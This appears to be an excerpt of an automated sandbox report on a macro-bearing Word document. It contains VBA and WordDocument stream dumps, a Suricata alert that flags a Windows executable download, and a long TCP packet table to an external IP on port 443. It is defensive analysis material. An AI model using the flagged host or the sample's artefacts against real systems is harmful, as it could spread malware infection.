Data ASCII:	. . . . . . . . . . 0 * . . . . p . . H . . . . d . . . . . . . P r o j e c t . . . ( . . @ . . . . . . . . 1 0 0 7 4 6 3 h 5 0 = . . . . . P . . . . . . . r i . $ . . . 4 . < . . . . . . . . s t d o l e . > . . s . t . d . . o . l . e . . . . h . . ^ . . * \\ G { . 0 0 0 2 0 4 3 0 v - . . . . C . . . . . . 0 . 0 4 6 } # 2 . 0 . # 0 # C : \\ W i . n d o w s \\ S y s t e m 3 2 \\ . e . 2 . t l b # O L . E A u t o m a p t i o n . 0 . . E N o r m a l E N C r . m . a F . . . { * \\ C . . . . @ r i . . ! O . f
Data Raw:	01 c3 b2 80 01 00 04 00 00 00 03 00 30 2a 02 02 90 09 00 70 14 06 48 03 00 82 02 00 64 e4 04 04 00 07 00 1c 00 50 72 6f 6a 65 63 74 05 11 00 28 00 00 40 02 14 06 00 09 01 00 0e 31 30 30 37 34 36 33 68 35 30 3d 0b 1c 07 02 90 01 50 08 05 06 12 09 02 12 a8 b3 72 69 0a 24 00 0c 01 34 00 3c 02 05 16 00 02 06 00 07 73 74 64 6f 6c 65 02 3e 02 19 73 00 74 00 64 00 00 6f 00 6c 00 65 00 0d

Stream Path: WordDocument, File Type: data, Stream Size: 4096

General
Stream Path:	WordDocument
CLSID:
File Type:	data
Stream Size:	4096
Entropy:	1.0974699740765002
Base64 Encoded:	False
Data ASCII:	. U . . . . . . . . . . . . . . . . . . . . . * . . . . . b j b j n n . . . . . . . . . . . . . . . . . . . . . . . . . . . a . a . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2 . . . . . . . 2 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 0 . . . . . . . . . . .
Data Raw:	ec a5 c1 00 55 00 09 04 00 00 f0 12 bf 00 00 00 00 00 00 10 00 00 00 00 00 08 00 00 2a 08 00 00 0e 00 62 6a 62 6a eb 6e eb 6e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 09 04 16 00 2e 0e 00 00 89 04 e9 61 89 04 e9 61 15 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff 0f 00 00 00 00 00 00 00 00 00 ff ff 0f 00 00 00 00 00

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-14T15:43:39.248828+0100	2022640	ET MALWARE PE EXE or DLL Windows file download Text M2	1	172.65.251.78	443	192.168.2.9	49714	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 14, 2025 15:43:38.237822056 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:38.237859011 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:38.237992048 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:38.253596067 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:38.253614902 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:38.715652943 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:38.715738058 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:38.880490065 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:38.880506992 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:38.880842924 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:38.880892992 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:38.897270918 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:38.939340115 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.159956932 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.160022974 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.160124063 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.160176992 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.160204887 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.160204887 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.160212040 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.160221100 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.160224915 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.160249949 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.160264015 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.160270929 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.160310984 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.160316944 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.160357952 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.160365105 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.160406113 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.160820961 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.160865068 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.160870075 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.160917044 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.160923004 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.160959005 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.164712906 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.164798975 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.246144056 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.246229887 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.246267080 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.246296883 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.246320963 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.246335030 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.246351004 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.246418953 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.246453047 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.246458054 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.246483088 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.246488094 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.246524096 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.246529102 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.246565104 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.246571064 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.246603012 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.247148991 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.247195959 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.247196913 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.247206926 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.247226954 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.247260094 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.247670889 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.247709036 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.247714043 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.247749090 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.247751951 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.247766972 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.247795105 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.247800112 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.247832060 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.248711109 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.248755932 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.248760939 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.248794079 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.248794079 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.248804092 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.248837948 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.248850107 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.248873949 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.248879910 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.248897076 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.248925924 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.249644041 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.249697924 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.249733925 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.249754906 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.249759912 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.249783993 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.249805927 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.249809980 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.249855995 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.332432985 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.332505941 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.333087921 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.333142042 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.333431005 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.333502054 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.333503962 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.333514929 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.333549023 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.334176064 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.334220886 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.334223986 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.334233046 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.334268093 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.334270954 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.334280014 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.334316969 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.334347010 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.335000992 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.335042000 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.335057020 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.335062981 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.335081100 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.335082054 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.335098028 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.335102081 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.335124969 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.335150003 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.336184978 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.336234093 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.336234093 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.336244106 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.336276054 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.336297989 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.337122917 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.337179899 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.337182045 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.337198019 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.337224960 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.337235928 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.337240934 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.337251902 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.337289095 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.423696995 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.423751116 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.423774958 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.423780918 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.423790932 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.423830986 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.423846006 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.423902988 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.423943996 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.424021959 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.424063921 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.424253941 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.424293995 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.424300909 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.424309969 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.424345016 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.424356937 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.424397945 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.424437046 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.424640894 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.424695015 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.425446987 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.425492048 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.425529957 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.425529003 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.425539017 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.425560951 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.425564051 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.425587893 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.425599098 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.425611973 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.425695896 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.426268101 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.426297903 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.426318884 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.426327944 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.426352024 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.426387072 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.426597118 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.426631927 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.426645041 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.426654100 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.426666975 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.426693916 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.426709890 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.426717043 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.426757097 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.427473068 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.427546024 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.427599907 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.427639961 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.427644014 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.427653074 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.427676916 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.427684069 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.427690983 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.427722931 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.427745104 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.428284883 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.428345919 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.428467989 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.428515911 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.430005074 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.430043936 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.430073977 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.430083036 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.430114031 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.430139065 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.506109953 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.506140947 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.506212950 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.506230116 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.506259918 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.506278038 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.506831884 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.506856918 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.506894112 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.506901979 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.506913900 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.506941080 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.506942987 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.506956100 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.506964922 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.506990910 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.507019043 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.507380962 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.507402897 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.507450104 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.507457018 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.507514954 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.507514954 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.511874914 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.511900902 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.511961937 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.511972904 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.512011051 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.512172937 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.512207031 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.512233019 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.512239933 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.512270927 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.512562990 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.512633085 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.512665033 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.512675047 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.512696028 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.512712955 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.550823927 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.550858021 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.550956011 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.550976992 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.551012039 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.551032066 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.592490911 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.592531919 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.592595100 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.592607021 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.592648983 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.592958927 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.592983007 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.593045950 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.593053102 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.593066931 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.593086958 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.593286037 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.593311071 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.593347073 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.593352079 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.593384981 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.593394041 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.593861103 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.593880892 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.593936920 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.593945980 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.594001055 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.594229937 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.594249964 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.594286919 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.594295025 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.594312906 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.594331980 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.594774008 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.594790936 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.594835043 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.594842911 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.594892025 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.595248938 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.595268965 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.595386982 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.595392942 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.595428944 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.636872053 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.636939049 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.637036085 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.637054920 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.637098074 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.678977013 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.679008007 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.679071903 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.679095984 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.679115057 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.679137945 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.679294109 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.679311037 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.679347038 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.679354906 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.679382086 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.679402113 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.679577112 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.679595947 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.679641008 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.679649115 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:39.679672003 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:39.679966927 CET	49714	443	192.168.2.9	172.65.251.78
